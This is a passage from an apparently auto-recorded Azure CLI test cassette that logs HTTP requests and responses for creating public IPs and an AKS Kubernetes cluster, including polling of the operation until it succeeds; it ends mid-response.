https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.Network/locations/westus2/operations/bab83880-dcee-45d8-84dd-189520391788?api-version=2020-06-01\n cache-control:\n - no-cache\n content-length:\n - '625'\n content-type:\n - application/json; charset=utf-8\n date:\n - Sat, 12 Sep 2020 23:20:08 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - Microsoft-HTTPAPI/2.0\n - Microsoft-HTTPAPI/2.0\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n x-content-type-options:\n - nosniff\n x-ms-arm-service-request-id:\n - 8ddb64ea-b40f-483b-9ece-bdef803a8f2d\n x-ms-ratelimit-remaining-subscription-writes:\n - '1197'\n status:\n code: 201\n message: Created\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - network public-ip create\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -n --location --sku\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-network/12.0.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.Network/locations/westus2/operations/bab83880-dcee-45d8-84dd-189520391788?api-version=2020-06-01\n response:\n body:\n string: \"{\\r\\n \\\"status\\\": \\\"Succeeded\\\"\\r\\n}\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '29'\n content-type:\n - application/json; charset=utf-8\n date:\n - Sat, 12 Sep 2020 23:20:10 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - Microsoft-HTTPAPI/2.0\n - Microsoft-HTTPAPI/2.0\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n x-ms-arm-service-request-id:\n - 5988732d-935f-4118-963d-e9af45f6f26d\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - network public-ip create\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -n --location --sku\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-network/12.0.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003?api-version=2020-06-01\n response:\n body:\n string: \"{\\r\\n \\\"name\\\": \\\"cliaksslbip2000003\\\",\\r\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003\\\"\\\n ,\\r\\n \\\"etag\\\": \\\"W/\\\\\\\"617cfd34-94a5-4404-a1b8-7b4854fcf250\\\\\\\"\\\",\\r\\n \\\n \\ \\\"location\\\": \\\"westus2\\\",\\r\\n \\\"properties\\\": {\\r\\n \\\"provisioningState\\\"\\\n : \\\"Succeeded\\\",\\r\\n \\\"resourceGuid\\\": \\\"61eb6037-5c76-4bc3-8929-57a495ed01e6\\\"\\\n ,\\r\\n \\\"ipAddress\\\": \\\"20.51.67.196\\\",\\r\\n \\\"publicIPAddressVersion\\\"\\\n : \\\"IPv4\\\",\\r\\n \\\"publicIPAllocationMethod\\\": \\\"Static\\\",\\r\\n \\\"idleTimeoutInMinutes\\\"\\\n : 4,\\r\\n \\\"ipTags\\\": []\\r\\n },\\r\\n \\\"type\\\": \\\"Microsoft.Network/publicIPAddresses\\\"\\\n ,\\r\\n \\\"sku\\\": {\\r\\n \\\"name\\\": \\\"Standard\\\"\\r\\n }\\r\\n}\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '660'\n content-type:\n - application/json; charset=utf-8\n date:\n - Sat, 12 Sep 2020 23:20:10 GMT\n etag:\n - W/\"617cfd34-94a5-4404-a1b8-7b4854fcf250\"\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - Microsoft-HTTPAPI/2.0\n - Microsoft-HTTPAPI/2.0\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n x-ms-arm-service-request-id:\n - a81dcc4c-1df9-431a-b4d0-d62ca7b91300\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-resource/10.2.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001?api-version=2020-06-01\n response:\n body:\n string: '{\"id\":\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001\",\"name\":\"clitest000001\",\"type\":\"Microsoft.Resources/resourceGroups\",\"location\":\"westus2\",\"tags\":{\"product\":\"azurecli\",\"cause\":\"automation\",\"date\":\"2020-09-12T23:20:01Z\"},\"properties\":{\"provisioningState\":\"Succeeded\"}}'\n headers:\n cache-control:\n - no-cache\n content-length:\n - '313'\n content-type:\n - application/json; charset=utf-8\n date:\n - Sat, 12 Sep 2020 23:20:10 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: '{\"location\": \"westus2\", \"properties\": {\"kubernetesVersion\": \"\", \"dnsPrefix\":\n \"cliaksdns000004\", \"agentPoolProfiles\": [{\"count\": 1, \"vmSize\": \"Standard_DS2_v2\",\n \"osType\": \"Linux\", \"type\": \"VirtualMachineScaleSets\", \"mode\": \"System\", \"enableNodePublicIP\":\n false, \"scaleSetPriority\": \"Regular\", \"scaleSetEvictionPolicy\": \"Delete\", \"name\":\n \"nodepool1\"}], \"linuxProfile\": {\"adminUsername\": \"azureuser\", \"ssh\": {\"publicKeys\":\n [{\"keyData\": \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\n test@example.com\\n\"}]}}, \"servicePrincipalProfile\": {\"clientId\": \"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\",\n \"secret\": \"4b543e21-083c-42f0-b984-ce90fac62990\"}, \"addonProfiles\": {}, \"enableRBAC\":\n true, \"networkProfile\": {\"networkPlugin\": \"kubenet\", \"podCidr\": \"10.244.0.0/16\",\n \"serviceCidr\": \"10.0.0.0/16\", \"dnsServiceIP\": \"10.0.0.10\", \"dockerBridgeCidr\":\n \"172.17.0.1/16\", \"outboundType\": \"loadBalancer\", \"loadBalancerSku\": \"standard\",\n \"loadBalancerProfile\": {\"outboundIPs\": {\"publicIPs\": [{\"id\": \"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\"}]},\n \"allocatedOutboundPorts\": 0, \"idleTimeoutInMinutes\": 30}}}}'\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n Content-Length:\n - '1865'\n Content-Type:\n - application/json; charset=utf-8\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: PUT\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001\\\"\\\n ,\\n \\\"location\\\": \\\"westus2\\\",\\n \\\"name\\\": \\\"cliakstest000001\\\",\\n \\\"type\\\"\\\n : \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n \\\"properties\\\": {\\n \\\n \\ \\\"provisioningState\\\": \\\"Creating\\\",\\n \\\"kubernetesVersion\\\": \\\"1.16.13\\\"\\\n ,\\n \\\"dnsPrefix\\\": \\\"cliaksdns000004\\\",\\n \\\"fqdn\\\": \\\"cliaksdns000004-bd1ec6bc.hcp.westus2.azmk8s.io\\\"\\\n ,\\n \\\"agentPoolProfiles\\\": [\\n {\\n \\\"name\\\": \\\"nodepool1\\\",\\n \\\n \\ \\\"count\\\": 1,\\n \\\"vmSize\\\": \\\"Standard_DS2_v2\\\",\\n \\\"osDiskSizeGB\\\"\\\n : 128,\\n \\\"osDiskType\\\": \\\"Managed\\\",\\n \\\"maxPods\\\": 110,\\n \\\"\\\n type\\\": \\\"VirtualMachineScaleSets\\\",\\n \\\"provisioningState\\\": \\\"Creating\\\"\\\n ,\\n \\\"orchestratorVersion\\\": \\\"1.16.13\\\",\\n \\\"enableNodePublicIP\\\"\\\n : false,\\n \\\"nodeLabels\\\": {},\\n \\\"mode\\\": \\\"System\\\",\\n \\\"osType\\\"\\\n : \\\"Linux\\\",\\n \\\"nodeImageVersion\\\": \\\"AKSUbuntu-1604-2020.08.19\\\"\\n \\\n \\ }\\n ],\\n \\\"linuxProfile\\\": {\\n \\\"adminUsername\\\": \\\"azureuser\\\"\\\n ,\\n \\\"ssh\\\": {\\n \\\"publicKeys\\\": [\\n {\\n \\\"keyData\\\": \\\"\\\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\\\n \\ test@example.com\\\\n\\\"\\n }\\n ]\\n }\\n },\\n \\\"servicePrincipalProfile\\\"\\\n : {\\n \\\"clientId\\\": \\\"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\\\"\\n },\\n \\\n \\ \\\"addonProfiles\\\": {\\n \\\"kubedashboard\\\": {\\n \\\"enabled\\\": true,\\n\\\n \\ \\\"config\\\": null\\n }\\n },\\n \\\"nodeResourceGroup\\\": \\\"MC_clitest000001_cliakstest000001_westus2\\\"\\\n ,\\n \\\"enableRBAC\\\": true,\\n \\\"networkProfile\\\": {\\n \\\"networkPlugin\\\"\\\n : \\\"kubenet\\\",\\n \\\"loadBalancerSku\\\": \\\"standard\\\",\\n \\\"loadBalancerProfile\\\"\\\n : {\\n \\\"outboundIPs\\\": {\\n \\\"publicIPs\\\": [\\n {\\n \\\"\\\n id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ]\\n },\\n \\\"allocatedOutboundPorts\\\": 0,\\n \\\"\\\n idleTimeoutInMinutes\\\": 30\\n },\\n \\\"podCidr\\\": \\\"10.244.0.0/16\\\",\\n\\\n \\ \\\"serviceCidr\\\": \\\"10.0.0.0/16\\\",\\n \\\"dnsServiceIP\\\": \\\"10.0.0.10\\\"\\\n ,\\n \\\"dockerBridgeCidr\\\": \\\"172.17.0.1/16\\\",\\n \\\"outboundType\\\": \\\"\\\n loadBalancer\\\"\\n },\\n \\\"maxAgentPools\\\": 10\\n },\\n \\\"sku\\\": {\\n \\\"\\\n name\\\": \\\"Basic\\\",\\n \\\"tier\\\": \\\"Free\\\"\\n }\\n }\"\n headers:\n azure-asyncoperation:\n - https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n cache-control:\n - no-cache\n content-length:\n - '2811'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:20:17 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n x-content-type-options:\n - nosniff\n x-ms-ratelimit-remaining-subscription-writes:\n - '1199'\n status:\n code: 201\n message: Created\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"77807ee2-5355-444c-b79c-84d7e6d6f83c\\\",\\n \\\"status\\\"\\\n : \\\"InProgress\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:20:17.1149167Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '126'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:20:47 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"77807ee2-5355-444c-b79c-84d7e6d6f83c\\\",\\n \\\"status\\\"\\\n : \\\"InProgress\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:20:17.1149167Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '126'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:21:17 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"77807ee2-5355-444c-b79c-84d7e6d6f83c\\\",\\n \\\"status\\\"\\\n : \\\"InProgress\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:20:17.1149167Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '126'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:21:47 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"77807ee2-5355-444c-b79c-84d7e6d6f83c\\\",\\n \\\"status\\\"\\\n : \\\"InProgress\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:20:17.1149167Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '126'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:22:18 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"77807ee2-5355-444c-b79c-84d7e6d6f83c\\\",\\n \\\"status\\\"\\\n : \\\"InProgress\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:20:17.1149167Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '126'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:22:49 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"77807ee2-5355-444c-b79c-84d7e6d6f83c\\\",\\n \\\"status\\\"\\\n : \\\"InProgress\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:20:17.1149167Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '126'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:23:19 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"77807ee2-5355-444c-b79c-84d7e6d6f83c\\\",\\n \\\"status\\\"\\\n : \\\"InProgress\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:20:17.1149167Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '126'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:23:49 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"77807ee2-5355-444c-b79c-84d7e6d6f83c\\\",\\n \\\"status\\\"\\\n : \\\"InProgress\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:20:17.1149167Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '126'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:24:19 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e27e8077-5553-4c44-b79c-84d7e6d6f83c?api-version=2016-03-30\n response:\n body:\n string: \"{\\n \\\"name\\\": \\\"77807ee2-5355-444c-b79c-84d7e6d6f83c\\\",\\n \\\"status\\\"\\\n : \\\"Succeeded\\\",\\n \\\"startTime\\\": \\\"2020-09-12T23:20:17.1149167Z\\\",\\n \\\"\\\n endTime\\\": \\\"2020-09-12T23:24:46.753676Z\\\"\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '169'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:24:50 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks create\n Connection:\n - keep-alive\n ParameterSetName:\n - --resource-group --name --location --dns-name-prefix --node-count --ssh-key-value\n --service-principal --client-secret --load-balancer-sku --vm-set-type --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001\\\"\\\n ,\\n \\\"location\\\": \\\"westus2\\\",\\n \\\"name\\\": \\\"cliakstest000001\\\",\\n \\\"type\\\"\\\n : \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n \\\"properties\\\": {\\n \\\n \\ \\\"provisioningState\\\": \\\"Succeeded\\\",\\n \\\"kubernetesVersion\\\": \\\"1.16.13\\\"\\\n ,\\n \\\"dnsPrefix\\\": \\\"cliaksdns000004\\\",\\n \\\"fqdn\\\": \\\"cliaksdns000004-bd1ec6bc.hcp.westus2.azmk8s.io\\\"\\\n ,\\n \\\"agentPoolProfiles\\\": [\\n {\\n \\\"name\\\": \\\"nodepool1\\\",\\n \\\n \\ \\\"count\\\": 1,\\n \\\"vmSize\\\": \\\"Standard_DS2_v2\\\",\\n 